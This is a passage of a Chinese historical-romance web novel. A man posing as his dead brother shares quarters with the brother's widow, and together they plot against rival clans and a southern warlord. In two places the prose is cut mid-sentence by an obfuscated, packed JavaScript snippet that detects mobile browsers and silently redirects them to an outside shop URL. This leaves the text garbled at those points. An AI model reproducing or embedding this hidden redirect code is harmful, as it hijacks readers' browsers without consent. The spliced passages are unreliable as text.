那日他询问谢云姝时,她脸上转瞬即逝的异样神情,至今仍烙印在他心头。 谢云姝一定知道什么。可无论他如何追问,她都缄默如石。待他再寻时机试探,她却只以悲痛难抑、不愿再提为由,轻轻将话题带过。 孙城抚须的手微微一顿,眼中闪过一丝极快、极其复杂的情绪。但他很快恢复了平静,“少主,有些事,多想无益。眼下更紧要的,是稳住北燕的局势。您可知,梁家的人已经在秘密调查您的身份了?” “他们还在怀疑?” “少主您有所不知,大公子从前与那梁家的梁稷交情颇深,他很了解大公子。我们的这点儿障眼法,时间长了恐怕是骗不过他。” “萧家自小和魏梁两家不对付,大哥怎会和那梁稷交情匪浅?” “他们相识之时,尚不知彼此身份。”孙城娓娓道来,“梁稷的外祖家是江南大族王氏。王氏仅有一女,即梁稷生母,自幼极受宠爱。梁稷生于江南,王家人因为喜爱外孙,一再拖延他返京之期,竟将他养到了七八岁年纪。” “后来魏梁两家开门迎敌,背弃萧家,此举更为王氏所不齿。梁家自此再不敢向岳家提起接回梁稷之事。梁稷长于江南,对北燕三族恩怨知之甚少。大公子当年南下征战,正是那时与他相识,结为知己。” “只不过不久后,王氏变故,北燕梁氏又无所出,梁稷便被强行接了回来。他们之间,也就成了敌人。” “所以啊,”孙城的眼神中有些担忧,“少主,往后在你与梁稷的接触中,务必要小心他。还有...” 他有些犹豫。 “孙先生但说无妨。” 孙城直言道:“大公子当年与梁稷交好那段时日,也正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668403|188353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他与少夫人相识定情之时。梁稷必然知晓他们之间的一些旧事。若不想在他面前露出破绽,您最好与少夫人事先统一口径。在外人面前对待少夫人,也切不可似如今这般...生分。” “我怎么了?”萧翊挑眉。 “少主还不知?”孙城轻咳一声,“前几日洞房夜,您独宿书房之事不仅在府中传开,连蓟州城内也开始有风言四起。” “府里这些人是怎么当差的?”萧翊一掌重击在门梁上。 “下人们虽不敢妄议大事,却最喜嚼弄这些私隐。这等事情,只怕想拦也拦不住。照这般情形,梁稷定然也已听闻。” 孙城又劝:“新年过后便是蓟州城最热闹的灯花集会,届时您与少夫人同游,梁稷必会借机试探。在那之前,少主何不趁此时机多与少夫人相处,也好培养些默契?” “孙先生何出此言?”萧翊声调骤扬,“她本是兄长所爱之人。” “可如今,您才是萧家少主。更何况,我相信您和少夫人心中都清楚,你们之间再如何亲近也只是在外人面前逢场作戏。若是大公子有灵,亦不会怪罪于您。” 萧翊默然。 良久,他才低声道:“先生之意,我明白了。” 孙城颔首一礼,悄然退下。不久,瑞平入内为他铺整寝具,却被萧翊抬手制止。 “少主可是要回从前院子?自您成婚后,老夫人已命人将那边物件尽数撤去,此时收拾,只怕炭火也未备妥。” “将东西送去归玉居。” 归玉居是他二人成婚后的住所。 “什么?”瑞平有些错愕,“少主,您前几天不是还说,往后都宿在书房么......这才几日...” 话未说完,他已见萧翊面色沉如墨染,连忙噤声,匆匆应了句“我这就去给您准备...”,然后逃似的出了书房。 -- 夜深露重,万籁俱寂。 谢云姝深陷于梦魇之中,额上沁出细密的冷汗。 梦中,火光冲天喊杀声四起,眼见着母亲能将倒在血泊中的萧晏扶起,她却拼尽全力终于拉住了母亲,眼睁睁地看着萧晏那张染血的脸,近在咫尺,一步步了无生气。 “怀瑾哥...”她紧皱着眉,下一秒从床上弹坐起来,胸口剧烈起伏。 朦胧夜色里,床畔静立着一道修长身影,银白长袍如水垂落,他仿佛正对她温柔含笑,声音轻似梦呓:“袖袖……别,别哭……” 是他,是萧晏! 几乎不假思索地,她赤足下榻,直直扑入那人怀中,双臂紧紧环住他的腰身。“怀瑾哥,是你吗?你真的回来了……” 谢云姝将脸深深埋进他微凉的衣襟,语声哽咽,泪意涔涔,“对...不...起...” 萧翊方踏入内室,步履极轻,本不欲扰她清眠。可这骤然迎满怀的温软,令他浑身一僵,丝毫未听清楚谢云姝朦胧中对大哥的愧意。他只知道,少女的身躯与他紧密相贴,萧翊甚至能嗅到她发间清淡的幽香,以及她的泪水浸湿他胸前衣料的湿意。 原来,她心中如此放不下兄长。 萧翊垂在身侧的手微微一动,终究还是无声地落回了原处。 14. 第14章 同居 可这温存不过瞬息。 怀里的温热猛地消失,眼前的人向后退开。借着一缕透窗而入的月光,谢云姝看清了黑夜中的那张脸:“萧翊?” 她眼中的脆弱和依恋顷刻间消失不见,“你怎么会在这儿?” 谢云姝下意识拢紧衣襟,眼神覆上少许疏离。萧翊没回,只是转身点亮桌案上的灯盏,语气平静:“往后,我还是宿在这里。” “好。”谢云姝已系好衣带,伸手拂开珠帘,“我去备你的被褥。” 她这般云淡风轻,反倒让萧翊怔在原地。他做了整整三日的挣扎,才踏出这一步,她却如此轻易地接受了? 她心中,究竟把大哥放在什么位置? “你不问为何?”他的视线追随着她在房中移动,直到看见她将一床新被铺在左侧的贵妃榻上。 原来是要他睡这里。 一抹红蔓上耳根,他猛地掐断思绪,却止不住面上发烫。 反观谢云姝,却还是一脸淡定。 “无非是最近府上的一些流言。”她整理着枕衾,语气平淡,“即便你不来,我也正打算寻你商议此事。” “可...”萧翊喉结微动,想起几日前才说要独宿书房。如今出尔反尔,他面上不禁有些热。 谢云姝却似了然,“少主那日说过什么,我已不记得了。”她转身看他,眸色清亮,“从今往后,我们便同住一室,在外人面前做一对正常的恩爱夫妻。” “恩爱夫妻?”萧翊重复着这个陌生的词。在这个家里,他从未见过恩爱,只有怨怼与撕裂。他语带讥讽,“你已经接受他们的安排嫁给我,还需要做到如此地步?” 没想到谢云姝表情认真地凝视着他,“我嫁的,是萧晏。” “现在,在世人眼中你就是萧晏,我们本就该如此。” 萧翊愣住了。他垂眸,看见她正透过自己凝视着另一个人。 他冷脸讥讽,“你倒挺会自欺欺人的。” “可你看清楚,我是谁?”萧翊用茶水沾湿指尖,往自己脸上重重一抹,冷着声道。 水珠顺着萧翊的下颌缓缓滑落。 谢云姝垂下眼帘,别过头去,唇角泛起一丝苦涩,“你放心,我一直都分得清。” “你最好是。”他语带讥诮。 “正因分得清,萧翊,往后在这房中你大可做自己。我们之间井水不犯河水,只需共同互相守着各自的界限,即可。” 萧翊的眼神随着她,从椅塌上转到床上,明白了这就是他们之间的界限。 这样也好,他望着窗外疏落的星子,沉默片刻。至少,这世上他还有一方天地,能够做回那个被迫死去的自己。 烛火噼啪作响,在黑暗再一次将蔓延之际,他的眼神恢复平静,开口:“你可知梁稷此人?” “梁稷?”谢云姝的脚步微微一顿,似乎在仔细搜寻着脑海中关于这号人的记忆,可片刻后她摇头,“不认识。” “怎么了?”谢云姝又追问。 萧翊将双手枕在脑后,目光望着房顶的暗影,“孙先生今日告诉我,说梁稷是大哥昔年在江南结识的挚友。他或许…知晓大哥与你从前的种种,嘱咐我日后需谨慎应对,莫要露出破绽。” 他转过头,看向床榻,“你当真不认识他?” “我何必骗你?”她抬眼与他对视,“除却那日在婚宴上见过一次外,我从未听说过梁稷这个名字。” ...... 这就怪了。 难道,大哥在江南时,从未向梁稷提起过她?反之亦然? 夜渐深,谢云姝和衣躺下,萧翊也配合地背过身去。 一片寂静中,他忽然低声开口:“嫂嫂……能否与我讲讲你与大哥的往事?” 话音落下,他才惊觉这话太过越界。又立即补充道:“是孙先生嘱咐的…多了解些,才不易在梁稷面前露馅。” 可真的只是这样吗? 他试图为自己找一个合理的理由,不过是想确认那段感情是否真的这般深刻。一个仅与大哥相识数月的女子,怎会情深至此? 这样想着,他便自洽了些,也可沉下心来等谢云姝的回应。 可很久,床榻那边都没有回音。 就在萧翊以为她早已入睡时,帐幔里传来她带着睡意的声音,“与其纠结于此…少主何不在别处多下些功夫?” “什么?”他下意识问。 “昔有商君立木,非以辩言,而以信行。要杜绝怀疑,最好的办法不是用言语辩解,而是以行动让人无话可说...” 话音未落,一个轻轻的哈欠曳断了语句,那头没了声儿。 “比如?”他低声问,已经不期望她回答。 “比如明日开始,请少主与我一同研读北燕舆图……”她声渐低微,似将沉入梦境,含糊地添了一句,“怀瑾哥,他可是个…用兵的奇才…” 萧翊眸中的光,倏然静了下来。 烛影微微一晃,映出墙上两道疏离的影,今夜不知谁将无眠。 -- 小年,萧翊醒来时,窗外生机一片。 大雪消融,几株红梅屹立在冬日里。 连日来,城防部署、年关礼单与城中舆论交织,令他分身乏术。 他实在太累了。 不知不觉,搬回归玉居已有五六日。那夜之后,谢云姝并未多言,只拟了一份清单,详录她与萧晏往来诸事及所赠之物。至于更私密之事——她心想,即便有,萧晏也未必会向梁稷提起。 萧翊准允后,瑞平便领命前去仿制清单上的物件。当看到那枚白玉哨子时,谢云姝忽然想起初至北燕时,曾将它赠予城门边乞食却对她施以援手的一对姐弟。 “不知那对姐弟如今怎样了……”她轻声自语。 萧翊看了她一眼,轻描淡写:“瑞平,得空派人去瞧瞧。” “好的,少主。”瑞平领命下去。 谢云姝随即抬眸望萧翊,没说话。 “怎么,我脸上有东西?”萧翊抬手摸了摸脸颊。 “没有,”她微微一笑,“只是觉得从前说错了一句话。” “什么话?” “我曾说你眼神阴郁,不像好人。” 萧翊指尖微顿,冷声道:“你没说错……” “不。”谢云姝轻声打断,目光澄澈如镜,“或许你和怀瑾哥一样,骨子里都装着对百姓的悲悯。” 萧翊垂眸不语,指节却不自觉地收紧。他,是这样的人么?从来没有人这样说过他。 ...... 门扉轻启,萧翊掐断思绪。 瑞平穿过廊檐,迈过门槛,“少主,祁融传信。” 萧翊看完,眉峰紧蹙,“谢晋父子,安敢如此!” 瑞平正欲开口,外头忽然响起了脚步声。萧翊向外看去,只见谢云姝端着一个红漆木盘走了进来。盘中放着几只白瓷小碗,热气袅袅,带着淡淡的药草香气。 她今日穿着一身素雅的月白襦裙,乌发简单绾起,步态从容。 “醒了?” 她声音温和,将木盘轻放在一旁的空几上,“晨起雪寒,我叫人备了些暖胃的薏米粥,你可以用些。” 萧翊目光微动,压下心底升起的讶异,伸手接过一碗。温热的汤水入喉,果然一股暖意在心底散开。 素娥将走向窗边,利落地支起窗棂。晨光透入,那一刹那,谢云姝身后被打上一层光晕。 他执碗的手微微收紧,却若无其事地移开视线。 只见谢云姝从袖中取出一个小巧的锦囊,轻轻放进床头的熏笼,“这是安神的香草,我昨夜见你睡得不安稳。” 她语速轻快,确认着各项细节是否妥帖,“若粥不够,厨房还温着。今日要见的几位宗亲长辈已在前厅用茶,你……” “够了。”萧翊将手中的碗放回桌子上,再抬眼,那点暖意已经完全消失。 “不必迂回,”他出声打断,目光渐沉,“你想要什么?” 谢云姝呼了一口气,“少主英明。” 她不再绕弯子,道:“我知道祁融传信回来了,可否让我看一看?” 果然。 从没有无缘无故的关怀,更何况是来自她。萧翊脸色微沉,“你消息倒是灵通。” 谢云姝神色平静,“方才回来时,正巧遇上瑞平。” 萧翊闻言,又往瑞平那儿看了一眼。他表情无辜,少主,您也没说连这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684298|188353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情都要避讳着少夫人啊。 何况,你们都搬到一起了...... 谢云姝又解释道,“并非我有意探查军情,只是事关蓉城我不可能不留心。” “我有说什么吗?”萧翊目光闪烁,他将信递过去,谢云姝连忙接过。 不一会儿,信纸在谢云姝手中窸窣作响。 谢云姝闭了闭眼,胸中忧愤交织。祁融在信中说他们已抵达蓉城,但她的叔父谢晋与其堂兄谢桡以母亲和弟弟的安危作要挟,想借此攀附北燕共同北上。 可北燕并非萧氏一族说了算。 谢晋凭什么认为她能说动北燕三族共同开启城门接纳他们?即便事成,曾经执掌蜀地的谢氏一族,又岂会永远甘心屈居北人之下? 光是她的弟弟谢琅,就不可能甘愿一辈子做北人的僚属。 更何况,若公孙袭得知谢氏北投,会不会趁机发兵北上,直指北境?从萧翊的角度来看,他必须考虑这个问题。 是她想错了,在乱局之中,她只想着要保全小家,却忘了身为乐山王之女的重任。 叔父这一行为,倒是提醒了她。即便祖母答应护他们周全,可是靠他人得来的庇护,终不是她谢氏族人的归属。 谢云姝深吸一口气,将那份军报轻轻放回桌上,在房中踱了几步。过了一会儿,她才道:“少主,我想和你做个交易。” “交易?”萧翊的眼神微眯,不知道在想什么,他似乎兴致缺缺。 谢云姝环顾了一下四周,将仆从全都遣散。随后,才从床下的暗格里取出一个用红绸包着的东西递给他。 绸布掀开,露出一块青铜令牌,在光下泛着幽冷的色泽。 “这是……”萧翊眼神一凝。 “是真的萧家少主令,这是你大哥南下前转交给我的。此事连祖母也不知,大家都以为令牌被怀瑾哥南下带去了。” 萧家少主令以血沁古铜所铸,工艺早已失传,纹饰繁复,绝非短时间所能仿制。萧翊几乎一眼就能断定:谢云姝手中这枚,是真令。 “我知道自你继任少主,祖母便命人暗中仿制了一枚。可假的终究是假的,迟早会被人识破,届时必成他人攻讦之柄。” “你想说什么?”萧翊语气渐冷。 “现在,我将这枚真令交还于你。只求你以萧家少主之名应我一事。” “你在威胁我?”萧翊冷笑,“这本来就是我萧家之物。” “我若真想威胁你,便不会将它直接交出。更何况,我既已与你成婚,便是选择了与你同立一处。” “那你这是做什么?” “是请求,”谢云姝迎上他的目光,神色坦然,“如今我们已是一绳之蚂蚱。我盼你能像怀瑾哥信我那样,也信我一次。” “他当年将此令交我,一为战场凶险,留个保障;二为安我心,那时不少人包括我自己,都担忧他击退公孙袭后会顺势攻下蓉城。他以此令为质,是为了让我安心。” “那是因为,即便没有这枚令牌,他在萧家与北境的权威也无人可撼。”萧翊语气锐利,“你真以为身为萧家少主,大哥会如此天真?” 谢云姝脸色微变,向前一步反问:“那你呢,二公子?若没有这枚真令,你在这蓟州城的地位,可会动摇?” 萧翊喉头一哽,无言以对。 “想要坐稳这个位置,我们还需做一件事。这才是我真正要与你交易的筹码。” “什么?” 谢云姝的表情开始高深莫测起来,“前日少主曾提及梁稷,他既对您身份起疑,依您看,他能否突破萧府防线在府中安插眼线?” “绝无可能。”萧翊斩钉截铁道,“府中皆是从小培养的家生奴,绝无背叛之理。”他假扮兄长至今无外人识破,便是明证。 她轻轻抬手,指尖掠过窗棂,“家奴不会,那常往来府中的外人呢?” 谢云姝眸光微转,忽然向前一步靠近萧翊。她的手抚上他的衣襟,动作轻柔得近乎亲昵。 “你做什么?”萧翊呼吸一滞,下意识想要后退。 “别动。”她低声制止。 萧翊只觉得她指尖触碰之处一阵发烫,耳根不受控制地泛起薄红...... 15. 第15章 生辰 她发间的松香淡淡萦绕,萧翊觉得有些窘迫,可垂眸一看,谢云姝的目光清亮,眸中并无半分旖旎,唯有冷静筹谋。 萧翊的眼神也渐渐冷下来。 他顺着她若有似无的视线向外望去,正对上院中那个正在修缮园圃的花匠。 “他?”萧翊当即明白过来,“此人确是不久前才入府的。需要处置吗?” “不,恰恰相反。”她指尖在他襟前轻轻一抚,唇角微扬,“留着他,有时候我们才可借他之口,传出我们不便明言的消息。” “比如?”萧翊不以为然。 “比如这样。”说罢,谢云忽然踮脚凑近他耳畔。 温热的呼吸拂过耳廓,萧翊只觉得自己的左半边脸,连同心脏全都麻了一样动弹不得。或许她什么都没说,只是唇瓣溢出几个无意义的音节,但是在门外的那花匠眼中看来,他们举止亲昵,感情浓厚,甚至在大庭广众之下都忍不住亲吻脸颊... “少主,介不介意我抱你一下?” “嗯?什...什么?”萧翊觉得自己大脑快宕机了。 紧接着,一双纤手环上他腰际。纤细柔然的触感让他有些慌乱,他下意识抗拒,连呼吸都忘记了。 可他发现自己竟然推不动她。也许,是不想推动。他来不及想,也不想去深想。 就在这时,那花匠收拾好工具,躬身退出了院门。 下一秒,怀中的温热也即刻褪去。 萧翊随即反应过来,这又是在外人面前的做戏... 又是如此。 他看向谢云姝的眼眸幽深。而眼前之人,似乎浑然不觉,只是自顾自地冷静分析。 “唯有让梁氏眼线亲眼见证你我恩爱,同时散播少主令真伪难辨的消息,他们才会混乱,摸不着头脑,主动出击。” “待他们按捺不住再次质疑你的身份时,你再出示真令。届时我们便可一劳永逸,永绝后患。” ...... 呃.... 许久不见萧翊的回答,她抬眸看向他,才惊觉他面上,连带这脖子被覆上一抹愠怒的红晕。他,有必要这么生气么? 谢云姝眼眸闪了闪,“抱歉,方才只是权宜之计,你别多想。” “谁多想了?”萧翊别过头去,冷冷道:“我只是讨厌别人的触碰和靠近。” 闻言,联想到他从前在萧家的处境,当即有些于心不忍。可是,从另一方面来讲,如今他代表的是萧晏,是整个萧家。 若是连今日这样的触碰都排斥的话,往后在外人面前,定然要露馅。 得想个法子... 她这样思忖着,便完全没有听到萧翊在耳旁不自在又有些絮叨的话,“往后,你若是再这样突然靠近,我不会再...“ “嗯,你说什么?” 谢云姝回过神来,抬眸看他。 她眼神的清澈,将他的心慌意乱衬托地像个笑话。萧翊的目光冷了下来,开始岔开话题,“哦,我说...瑞平前几日已经根据你的描述,派人去找过那对姐弟,没找到。” “是么?”谢云姝眉心皱了起来。 这样冷的北地,他们姐弟俩饥寒交迫且无定所,不知道他们能不能挨过这个冬天。那只白玉哨子,又有没有帮上他们? 还是被别的乞讨者给抢了去? 萧翊见她神情低落,轻咳道:“听你的描述,他们像是从豫南来的流民。前段时间,南朝王室出了一名奇士,成功将黄河泛滥治理好了。加之冬日,黄河水结冰,周王室为了稳定民心,发布了招安令。想必,他们已经顺利回到了自己的家乡。” “但愿如此。” 伤感了一会儿,谢云姝摆脱了情绪,开始进入正题。 “少主,置厝一事...我亦想同你商讨一二。前几日,你与陈梧,孙先生是否商讨过南方局势,舆图可有?我想看看。” “这也是你筹码的一部分?” 谢云姝静默不语,没有否认。 萧翊想起祖母说过,她从小和乐山王到各处考察和征战,对局势独到的见解,于是半信半疑,将怀中随身携带的图展开到桌子上。 “如今公孙袭占据置厝,在南方各诸侯中威望渐盛。而周室衰微,威信扫地,恐不日就会被倾覆。” 倘若周室倾覆,公孙袭的下一步就会是北燕。 谢云姝稍微端详了一下局势图,轻声道:“置厝乃江南锁钥,得之,则进可窥视中原,退可保江南富庶。可他公孙袭得此地,看似如虎添翼,却也未必全是好事。” 她指尖虚点,“得地利者,亦成众矢之的。江南诸侯表面归附,心中岂无惧意?公孙袭此刻看似风光,实则如同坐于积薪之上。” 谢云姝抬眼看向萧翊,目光清亮,“关键在于谁能为这‘积薪’,添上第一把火。” 她的指尖划过舆图上几处关隘,最终停在两处要地,“以公孙袭贪婪之性,一旦得到诸侯归顺,必会趁势北上。此处,还有此处均为咽喉之地,最易受他精锐冲击。” 萧翊凝神看去,正是与北燕接壤的两处边境重镇:松阳与淮鹤。 他沉吟道:“依你之见,北燕当如何应对?” “示弱于外,砺兵于内。” 谢云姝语气平稳,娓娓道来:“公孙袭急于立威,必先猛攻松阳。我们不妨在此处稍作退让,诱他深入。同时暗中将主力调至淮鹤。此地地势狭窄,不利大军展开,正可设伏。” 她稍作停顿,又指向几条隐蔽的水路与山道,“另可派轻骑从此处绕后,断其粮道。待他军心浮动,再两路合围。” ...... 两人就着舆图继续推演,从地势高低到兵力配置,从粮草补给到天时变化...萧翊越听越心惊。 她并非空谈兵法,而是将每一策都与南方局势紧密相连。看似兵行险招,却是从人性弱点出发,切中地方要害。 “你…”萧翊喉结微动,有些自惭形秽。扪心自问,他可能做到如此周全? 祖母说得对,有她在,萧家的大业即便没有大哥,也能事半功倍。 日光从窗柩透进来,照出她眉宇沉静,目光如炬的侧脸。 萧翊恍惚了一瞬。 那个年幼时曾手把手教他读舆图、论兵法的兄长,也是这般从容笃定,仿佛千里疆域尽在指掌之间。 这一刻,他们的身影竟然莫名地开始渐渐重合。 这时,谢云姝抬眸,对上他复杂的目光,轻声问道:“少主觉得此计可行?” 萧翊缓过神来,“不止可行…此策,与当年大哥在渭水之战所用的‘诱敌深入,两翼锁喉’之计,如出一辙。” 谢云姝闻言,思绪似乎被悄悄牵走。 她的眼中,有着复杂又明亮的光。萧翊知道,她又想起了大哥,心念相通时,他们甚至连眉宇间的神韵都如此相似。 萧翊突然明白,有些契合,从不在于朝夕长短。她与大哥相处的时间或许不长,但是他们却拥有着同样辽阔的抱负,同样坚定的理想。 他们是同一类人,如同星月相映。 意识到这一点,萧翊眸光微沉,心底泛起一丝说不清的滞涩。 他轻轻开口,嗓音较平日低沉几分,目光重新落回舆图之上,“祖母说,你答应留下来。是为了大哥,为了萧家。可我不信,你有如此才能,却能不图分毫。” “说吧,你绕了这么大个弯子,条件是什么?” 谢云姝迎上他的目光,字字清晰:“我要你答应助谢氏重建蜀地,且从今往后,北燕铁骑永不犯蜀地。” ...... 室内骤然陷入死寂。 萧翊周身气压骤降,“即便北燕不犯蜀地,以谢氏如今残破之势,也绝无可能在乱世中立足。” “不试过怎知不能?”谢云姝眼底燃起灼灼火光,“你没见过我弟弟,他虽年少,却已显明主之资。只要给他机会...” “不可能。”萧翊斩钉截铁地打断,“自我继任少主之日起,祖母便再三告诫,必须完成兄长未竟之业:除周室,灭公孙,肃清宇内,问鼎中原。” 其中,自然也包括蜀地。 他向前逼近一步,“自蓉城一战后,蜀地政权名存实亡。连你自己也从未提起过要重振谢氏王旗,这根本就是一种奢望。” 谢云姝挺直脊背,“少主,可 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“用什么用!”萧翊眼神骇人,素娥吓得立即跪倒,直到那脚步声远去,才敢提着裙角起身,“少夫人……少主这是?” “不必管他。”谢云姝语气里犹带着未消的怒气。 “那……可要布菜?” “不必了,素娥。”谢云姝拧了拧眉心,“我没什么胃口,你先退下吧,我想一个人静静。” 素娥轻手轻脚地合上门。 直至晚膳时分,谢云姝仍粒米未进。她独自躺在榻上,望着窗外——月色凄清,将疏影拉得老长。 翌日清晨,她和萧翊在回廊下的拐角碰见。余光里,萧翊的下颌线条绷得极紧,眼下还带着淡淡的青影。 两人擦肩而过,谁都没有开口。 后来穿过回廊,谢云姝听到有人在低声训斥家奴,“…今日都警醒着点,什么喜庆话都不准在少主面前提……” 是瑞平的声音。 谢云姝走上前去询问,瑞平才和气地提醒道:“少夫人,您有所不知,今日是少主的生辰。” “生辰?”谢云姝回想了一下方才见到萧翊的画面,他的神情里可没有半分要过生日的喜悦。 他叹了一口气,似乎有些不忍:“您就当没这个日子,莫要在少主面前提起才好。” 说完这话后,瑞平便忙着去做自己的事情了,留下谢云姝一知半解。 ...... 晚膳时分,谢云姝回到房中,不禁问起素娥,“素娥,今日是少主的生辰?为何府上所有人都如临大敌一般?” 素娥闻言有些惊慌,四下看去,“少夫人,您小声些。” 萧翊的诞生是萧府的耻辱,往年每到这个时候,徐夫人都会将他打得半死不活,再将人丢到祠堂里跪上整整一日... “可如今,不同往日了。”谢云姝道:“今年母亲不在府中。” “少夫人,您有所不知...”素娥叹了口气,“从前跪祠堂,是夫人的惩罚。后来,却是少主他的自惩...” “此话怎讲?” “那是二公子小时候……有一次生辰他被罚跪在祠堂里。半夜里冻糊涂了,人都失了神志。他奶娘心善,偷摸着去给他送被褥吃食,谁知……谁知竟糊里糊涂地被二公子当作贼人,用匕首给……唉!” 素娥说到此处,脸色愈发苍白,继续道:“第二天被人发现时,他就躺在奶娘的尸体旁边,血流了一地,沾到他全身...进来洒扫的仆人当场就被吓疯了......总之,很可怕。从那以后二公子就再也不过生辰了,谁也不敢在这天触他的霉头。” 谢云姝听罢,默然不语,纤长的指尖却无意识地收紧了。这故事听来惨烈,内里情由却未必如此简单。 “他此刻人在何处?”她忽然问道。 “大抵……还是在佛堂里跪着。”素娥忧心忡忡,再三提醒,“夫人,今日您无论有何事,都千万避着些少主,且等到明日再议吧。” 谢云姝眸光微动,只淡淡道:“知道了。” ......